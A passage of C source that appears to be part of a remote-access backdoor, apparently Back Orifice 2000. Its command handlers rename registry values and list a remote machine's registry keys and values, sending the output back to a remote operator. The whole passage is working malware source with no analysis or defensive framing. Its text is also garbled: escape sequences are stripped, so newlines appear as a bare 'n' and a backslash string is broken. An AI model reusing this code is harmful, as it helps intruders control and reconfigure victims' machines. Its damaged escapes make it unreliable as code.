  669. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
  670. RegCloseKey(key);
  671. wsprintf(svBuffer,"Could not rename value. Unable to query.n");
  672. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  673. return -1;
  674. }
  675. if(RegSetValueEx(key,svArg3,0,dwType,pData,cbData)!=ERROR_SUCCESS) {
  676. free(pData);
  677. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
  678. RegCloseKey(key);
  679. wsprintf(svBuffer,"Could not rename value. Unable to set.n");
  680. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  681. return -1;
  682. }
  683. free(pData);
  684. if(RegDeleteValue(key,svValueName)!=ERROR_SUCCESS) {
  685. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
  686. RegCloseKey(key);
  687. wsprintf(svBuffer,"Could not rename value. Value was copied, though.n");
  688. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  689. return -1;
  690. }
  691. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
  692. RegCloseKey(key);
  693. wsprintf(svBuffer,"Value renamed.n");
  694. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  695. return 0;
  696. }
  697. int CmdProc_RegEnumKeys(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  698. {
  699. char svBuffer[1024];
  700. // Get root key
  701. char *svKey,*svNext;
  702. HKEY key;
  703. svKey=GetRootKey(svArg2,&key);
  704. if(svKey==NULL) {
  705. IssueAuthCommandReply(cas_from,comid,0,"Unable to open key. Invalid root key.n");
  706. return -1;
  707. }
  708. // Open key hierarchy
  709. HKEY subkey;
  710. DWORD dwPerm=KEY_READ;
  711. while(svKey!=NULL) {
  712. svNext=BreakString(svKey,"\");
  713. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  714. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  715. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  716. RegCloseKey(key);
  717. wsprintf(svBuffer,"Unable to open subkey: %.256sn", svKey);
  718. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  719. return 1;
  720. }
  721. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  722. RegCloseKey(key);
  723. key = subkey;
  724. svKey = svNext;
  725. // Enumerate Keys
  726. int nCount;
  727. char svKeyBuf[MAX_PATH+1];
  728. nCount=0;
  729. IssueAuthCommandReply(cas_from,comid,1,"Subkeys:n");
  730. while(RegEnumKey(key,nCount,svKeyBuf,MAX_PATH)==ERROR_SUCCESS) {
  731. RegOpenKey(key,svKeyBuf,&subkey);
  732. DWORD keycount;
  733. RegQueryInfoKey(subkey,NULL,NULL,NULL,&keycount,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
  734. if(keycount>0) {
  735. wsprintf(svBuffer,"  %s\n",svKeyBuf);
  736. } else {
  737. wsprintf(svBuffer,"  %sn",svKeyBuf);
  738. }
  739. RegCloseKey(subkey);
  740. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  741. nCount++;
  742. }
  743. wsprintf(svBuffer,"%d keysn",nCount);
  744. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  745. // Clean up
  746. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  747. RegCloseKey(key);
  748. return 0;
  749. }
  750. int CmdProc_RegEnumValues(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  751. {
  752. char svBuffer[1024];
  753. // Get root key
  754. char *svKey,*svNext;
  755. HKEY key;
  756. svKey=GetRootKey(svArg2,&key);
  757. if(svKey==NULL) {
  758. IssueAuthCommandReply(cas_from,comid,0,"Unable to list values. Invalid root key.n");
  759. return -1;
  760. }
  761. // Open key hierarchy
  762. HKEY subkey;
  763. DWORD dwPerm=KEY_READ;
  764. while(svKey!=NULL) {
  765. svNext=BreakString(svKey,"\");
  766. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  767. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  768. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  769. RegCloseKey(key);
  770. wsprintf(svBuffer,"Unable to open subkey: %.256sn", svKey);
  771. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  772. return 1;
  773. }
  774. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  775. RegCloseKey(key);
  776. key = subkey;
  777. svKey = svNext;
  778. // Enumerate values
  779. int nCount;
  780. char svValueBuf[MAX_PATH+1];
  781. nCount=0;
  782. DWORD dwType, dwValueLen;
  783. char *svType;
  784. IssueAuthCommandReply(cas_from,comid,1,"Value type/names:n");
  785. dwValueLen=MAX_PATH;
  786. while(RegEnumValue(key,nCount,svValueBuf,&dwValueLen,NULL,&dwType,NULL,NULL)==ERROR_SUCCESS) {
  787. switch(dwType) {
  788. case REG_BINARY: svType="BINARY"; break;
  789. case REG_DWORD: svType="DWORD"; break;
  790. case REG_EXPAND_SZ: svType="EXPAND_SZ"; break;
  791. case REG_LINK: svType="LINK"; break;
  792. case REG_MULTI_SZ: svType="MULTI_SZ"; break;
  793. case REG_RESOURCE_LIST: svType="RESOURCE_LIST"; break;
  794. case REG_SZ: svType="SZ"; break;
  795. case REG_NONE: svType="NONE"; break;
  796. default: svType="UNKNOWN"; break;
  797. }
  798. wsprintf(svBuffer,"REG_%s: %sn",svType,svValueBuf);
  799. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  800. nCount++;
  801. dwValueLen=MAX_PATH;
  802. }
  803. /* // Spit out default value as well
  804. RegQueryValueEx(key,"",NULL,&dwType,NULL,NULL);
  805. switch(dwType) {
  806. case REG_BINARY: svType="BINARY"; break;
  807. case REG_DWORD: svType="DWORD"; break;
  808. case REG_EXPAND_SZ: svType="EXPAND_SZ"; break;
  809. case REG_LINK: svType="LINK"; break;
  810. case REG_MULTI_SZ: svType="MULTI_SZ"; break;
  811. case REG_RESOURCE_LIST: svType="RESOURCE_LIST"; break;
  812. case REG_SZ: svType="SZ"; break;
  813. case REG_NONE: svType="NONE"; break;
  814. default: svType="UNKNOWN"; break;
  815. }
  816. wsprintf(svBuffer,"REG_%s: n",svType);
  817. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  818. */
  819. wsprintf(svBuffer,"%d valuesn",nCount+1);
  820. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  821. // Clean up
  822. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  823. RegCloseKey(key);
  824. return 0;
  825. }